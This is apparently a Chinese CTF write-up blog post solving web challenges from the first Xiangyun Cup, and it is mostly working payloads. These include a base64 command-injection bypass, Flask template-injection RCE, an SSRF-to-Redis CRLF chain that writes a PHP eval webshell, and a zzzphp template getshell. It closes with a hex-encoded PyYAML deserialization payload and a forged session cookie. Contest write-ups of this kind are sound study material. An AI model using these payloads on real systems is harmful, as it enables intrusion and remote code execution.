首届“祥云杯”网络安全大赛

2020-11-24 15:11:00
ctf - wp - 祥云杯

Command

签到题,过滤了如下:

base64+%09绕一下过滤,因为匹配大小写,所以可能会出现这种情况:

稍微加点空格什么的修修改改就行了,payload:

?url=|echo%09"Y2FcdCAvZXRjLy5maW5kZmxhZy8q"|base64%09-d|ba\s\h

flaskbot

通过各种让他报错拿到一份大概的源码:

可以看到这里用了render_template_string这个函数,存在模板注入的可能。

注意guess这里用了float强转型,会发现有一个inf可以使用,但却直接在elseif被pass了,多次测试我们无论输入什么都会在大概第40-50之间被猜中,想着会不会存在某个类似于php中的NAN,遂随手试试发现确实如此于是num=nan,此时我们就能够在猜数游戏中赢过机器人了,然后再在,cookie中的user处输入:

e3tjb25maWd9fQ==
//{{config}}

直接可以模板注入了,直接payload打不通,因为有回显,所以慢慢测试发现过滤了eval,过滤了request,测试引号bypass关键字,直接可以绕过了,最后构造popen命令执行,得知flag位于/super_secret_flag.txt,直接读:

{{url_for.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('cat /super_secret_fl''ag.txt').read()")}}

doyouknowssrf

上来直接给源码:

<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);


function safe_url($url,$safe) {
    $parsed = parse_url($url);
    $validate_ip = true;
    if($parsed['port']  && !in_array($parsed['port'],array('80','443'))){

        echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;

        return false;
    }else{
        preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
        $long = ip2long($parsed['host']);
        if($long===false){
            $ip = null;
            if($safe){
                @putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
                $ip   = gethostbyname($parsed['host']);
                $long = ip2long($ip);
                $long===false && $ip = null;
                @putenv('RES_OPTIONS');
            }
        }else{
            $ip = $parsed['host'];
        }
        $ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
    }

    if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
        echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;

        return false;
    }else{
        return $url;
    }
}


function curl($url){
    $safe = false;
    if(safe_url($url,$safe)) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $co = curl_exec($ch);
        curl_close($ch);
        echo $co;
    }
}

highlight_file(__FILE__);
curl($_GET['url']);

发现是gactf2020的sssrfme,前面的bypass是parse_url的解析漏洞,如下可以绕过port和host的过滤:

?url=http://root@127.0.0.1:5000@baidu.com

提示:

hello,world
hint: 这是个套娃. http://localhost:5000/?url=https://baidu.com

于是有:

?url=http://root@127.0.0.1:5000@baidu.com?url=https://127.0.0.1:6379

进行端口探测,得知6379端口开放,打到服务器上发现确实如原题一样存在python的url库,存在crlf头部注入;不过原题是主从复制rce,遂在这上面做了颇多动作,但发现无论怎么搞我vps上的redis-rogue总会在连上的几秒内断开,并且貌似exp.so也没发过去,for example:

到这一步就断开了,不清楚是不是有密码,因为貌似密码错误slaveof命令依旧会打到我的vps上面;后面发现权限是够的,可以直接config写webshell。

用脚本获取payload:

import urllib
import requests
import os

payload =\
"""auth 123456
set A  "<?php @eval($_POST[1])?>"



config set dir /var/www/html
config set dbfilename hack1.php
save
padding
"""

tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
print(new)

payload再次编码,因为redis以空格为分割,所以php代码需要引号括起来,payload前方加上%0d%0a的url编码,得到最后payload:

?url=http://root:root@127.0.0.1:5000@baidu.com/?url=http://127.0.0.1:6379?%250D%250Aauth%2520123456%250D%250Aset%2520A%2520%2520%2522%253C%253Fphp%2520%2540eval%2528%2524_POST%255B1%255D%2529%253F%253E%2522%250D%250A%250D%250A%250D%250A%250D%250Aconfig%2520set%2520dir%2520%2Fvar%2Fwww%2Fhtml%250D%250Aconfig%2520set%2520dbfilename%2520hack1.php%250D%250Asave%250D%250Apadding%250D%250A

flag在根目录下。

easygogogo

dasctf原题,show处有个文件包含,在我们上传处测试发现存在目录穿越,我们上传后会得到一个cookie:

cookie解码后会得到路径什么的东西:

测试发现上传后会覆盖掉我们的flag,无法像dasctf原题一样直接包含获取flag,但我们可以通过重新开启一个容器,此时我们会发现直接替换cookie不行,需要先上传一个随意的图片然后再替换cookie,此时就能够得到flag。

easyzzz

漏洞均在https://xz.aliyun.com/t/7414可以找到。

后台地址泄露:

plugins\webuploader\js\webconfig.php

可以得知是admin539,前台注入

https://github.com/h4ckdepy/zzzphp/issues/1

后台密码是fuzzy9inve。

登陆后台后直接修改模板即可getshell:

{if:1=1);echo `cat /fla*`;//}{end if}

profile

上传后可以下载yaml,尝试目录遍历下载得源码:

from flask import Flask, render_template, request, flash, redirect, send_file,session
import os
import re
from hashlib import md5
import yaml
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
ALLOWED_EXTENSIONS = {'yaml','yml'}
def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower()
@app.route("/")
def index():
    session['priviledge'] = 'guest'
    return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
    file = request.files["file"]
    if file.filename == '':
        flash('No selected file')
        return redirect("/")
    elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):
        flash('Please upload yaml/yml only.')
        return redirect("/")
    else:
        dirname = md5(request.remote_addr.encode()).hexdigest()
        filename = file.filename
        session['filename'] = filename 
        upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
        if not os.path.exists(upload_directory):
            os.mkdir(upload_directory)
        upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
        file.save(upload_path)
        return render_template("uploaded.html",path = os.path.join(dirname, filename))
@app.route("/uploads/<path:path>")
def uploads(path):
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
@app.route("/view")
def view():
    dirname = md5(request.remote_addr.encode()).hexdigest()
    realpath = os.path.join(app.config['UPLOAD_FOLDER'], dirname,session['filename']).replace('..','')
    if session['priviledge'] =='elite' and os.path.isfile(realpath):
        try:
            with open(realpath,'rb') as f:
                data = f.read()
                if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
                    info = {'user': 'elite-user'}
                    flash('Sth weird...')
                else:
                    info = yaml.load(data)
                if info['user'] == 'Administrator':
                    flash('Welcome admin!')
                else:
                    raise ()
        except:
            info = {'user': 'elite-user'}
    else:
        info = {'user': 'guest'}
    return render_template("view.html",user = info['user'])
if __name__ == "__main__":
    app.run('0.0.0.0',port=8888,threaded=True)

可以看到session中有priviledge跟filename,我们伪造session后当priviledge为elite时就会触发yaml.load,在PyYAML中的load存在着反序列化漏洞。

先伪造cookie,因为我们得到密钥,所以伪造很简单。

python3 flask_session_cookie_manager3.py encode -s "Th1s_is_A_Sup333er_s1cret_k1yyyyy" -t "{'filename':'a.yaml','priviledge':'elite'}"

但这里有一个正则,google一下pyyaml bypass ctf即可得到一场uiuctf中使用16进制绕过。

__import__('os').system('/readflag > ./uploads/4e5b09b2149f7619cca155c8bd6d8ee5/flag

转16进制

\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x20\x3e\x20\x2e\x2f\x75\x70\x6c\x6f\x61\x64\x73\x2f\x34\x65\x35\x62\x30\x39\x62\x32\x31\x34\x39\x66\x37\x36\x31\x39\x63\x63\x61\x31\x35\x35\x63\x38\x62\x64\x36\x64\x38\x65\x65\x35\x2f\x66\x6c\x61\x67

最终payload

!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x20\x3e\x20\x2e\x2f\x75\x70\x6c\x6f\x61\x64\x73\x2f\x34\x65\x35\x62\x30\x39\x62\x32\x31\x34\x39\x66\x37\x36\x31\x39\x63\x63\x61\x31\x35\x35\x63\x38\x62\x64\x36\x64\x38\x65\x65\x35\x2f\x66\x6c\x61\x67"

把flag写到上传路径下再下载即可。



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号